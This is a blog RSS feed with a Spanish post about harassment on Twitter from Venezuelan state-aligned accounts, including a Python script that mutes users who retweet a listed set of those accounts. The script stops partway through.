<?xml version="1.0" encoding="utf-8"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title>orvtech.com</title><link>http://orvtech.com/</link><description></description><atom:link href="http://orvtech.com/rss.xml" rel="self"></atom:link><lastBuildDate>Thu, 29 Oct 2015 03:33:00 -0700</lastBuildDate><item><title>Controlando el cyberbullying del estado venezolano con Python</title><link>http://orvtech.com/block-cyberbulling-twitter-python.html</link><description>&lt;p&gt;No hace mucho fui víctima de cyberbulling con amenazas, insultos y elevadas menciones, retweets y favoritos en Twitter cuando el Gobierno Venezolano confundió mi nombre y profesión por alguien que según ellos es el webmaster de DolarToday.com en un programa de TV donde me dedicaron 15 minutos en la emisora del estado &lt;a class="reference external" href="https://twitter.com/orvtech/status/602318330528010240"&gt;VTV&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Gracias a las experiencias en IRC le reste importancia pero aun persistía la oleada de interacciones que molestaban mis notificaciones en Twitter. Al principio pensé en simplemente proteger mi cuenta y dejar que esto pasara pero sentí que eso era lo que los atacantes querían, La alternativa era silenciar a estas cuentas pero dejar que le lean al mismo tiempo.&lt;/p&gt;
&lt;p&gt;La tarea suena sencilla pero cuando tienes cientos de cuentas insultando, amenazando y cientos de cientos mas retuiteando cada minuto, se hace un poco tediosa la tarea así que decidí automatizar esto con este script:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;json&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;requests&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;requests_oauthlib&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;OAuth1&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sys&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;csv&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;time&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sleep&lt;/span&gt;

&lt;span class="n"&gt;whitelist&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;orvtech&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="n"&gt;shitlist&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;amaia_roja&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;anat5&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;carollafra&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;contraofensiva&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="s"&gt;&amp;#39;correoorinoco&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;forocandanga&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;guerrillaragua&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="s"&gt;&amp;#39;hectorodriguez&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;izarradeverdad&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;jorgerpsuv&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
           &lt;span class="s"&gt;&amp;#39;jrodriguezpsuv&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;lahojillaentv&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;laradiodelsur&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="s"&gt;&amp;#39;maperezpirela&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;nicolasmaduro&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;prisciliano_alf&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="s"&gt;&amp;#39;thaivama&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;yndiratorregros&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;PatriciaDorta40&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="c"&gt;#credentials from ghost account&lt;/span&gt;
&lt;span class="n"&gt;consumer_key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;consumer_secret&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;access_token_key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;access_token_secret&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;&amp;#39;&lt;/span&gt;

&lt;span class="c"&gt;#credentials from actual account&lt;/span&gt;
&lt;span class="n"&gt;consumer_key2&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;consumer_secret2&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;access_token_key2&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;access_token_secret2&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;&amp;#39;&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_retweets&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tweetid&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;retweetdata&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt;
  &lt;span class="n"&gt;handles&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;
  &lt;span class="n"&gt;api_url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;https://api.twitter.com/1.1/statuses/retweets/&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;tweetid&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;.json&amp;quot;&lt;/span&gt;
  &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;count&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;100&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="n"&gt;auth&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;OAuth1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;consumer_key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;consumer_secret&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;access_token_key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;access_token_secret&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;api_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;x-rate-limit-remaining&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;x-rate-limit-remaining&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;0&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;We reached rate limit for &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;api_url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Try again at&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;x-rate-limit-reset&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
      &lt;span class="n"&gt;quit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="ne"&gt;KeyboardInterrupt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="k"&gt;except&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
     &lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;OK&amp;quot;&lt;/span&gt;
  &lt;span class="n"&gt;retweetsObj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;retweetsObj&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;
    &lt;span class="n"&gt;handles&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;retweetsObj&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;user&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;screen_name&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;handles&lt;/span&gt;

&lt;span class="n"&gt;BLOCK_URL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;https://api.twitter.com/1.1/blocks/create.json&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;MUTE_URL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;https://api.twitter.com/1.1/mutes/users/create.json&amp;#39;&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;getTweets&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;usuarios&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
   &lt;span class="n"&gt;api_url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;https://api.twitter.com/1.1/statuses/user_timeline.json&amp;quot;&lt;/span&gt;
   &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;screen_name&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;usuarios&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;count&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;trim_user&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;t&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#39;include_rts&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;false&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
   &lt;span class="n"&gt;auth&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;OAuth1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;consumer_key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;consumer_secret&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;access_token_key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;access_token_secret&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
   &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;api_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
   &lt;span class="n"&gt;statusObj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
   &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;statusObj&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;id&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;act_on_handle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;api_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
       &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;api_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
       &lt;span class="n"&gt;msgs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
       &lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;status&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;
       &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;x-rate-limit-remaining&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;x-rate-limit-remaining&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;0&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
          &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;We reached rate limit for {url}&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;api_url&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
          &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;Try again at {reset}&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;reset&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;x-rate-limit-reset&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt;
          &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="ne"&gt;KeyboardInterrupt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
       &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;except&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
       &lt;span class="k"&gt;pass&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;cuenta&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;shitlist&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
       &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
         &lt;span class="n"&gt;tweet&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;getTweets&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cuenta&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
         &lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;Analizyng retweeters of&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cuenta&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;TweetID:&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tweet&lt;/span&gt;
         &lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;https://twitter.com/&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;cuenta&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;/status/&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;tweet&lt;/span&gt;
         &lt;span class="n"&gt;HANDLES&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_retweets&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tweet&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
         &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;HANDLES&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;whitelist&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
              &lt;span class="n"&gt;auth2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;OAuth1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;consumer_key2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;consumer_secret2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;access_token_key2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;access_token_secret2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
              &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;screen_name=&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;
              &lt;span class="c"&gt;#act_on_handle(BLOCK_URL, auth2, payload)&lt;/span&gt;
              &lt;span class="n"&gt;act_on_handle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MUTE_URL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;auth2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
              &lt;span class="n"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
              &lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;YOU FOLLOW &amp;quot;&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;WHO RETWEETED&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cuenta&lt;/span&gt;
              &lt;span class="n"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
         &lt;span class="n"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
       &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="ne"&gt;KeyboardInterrupt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
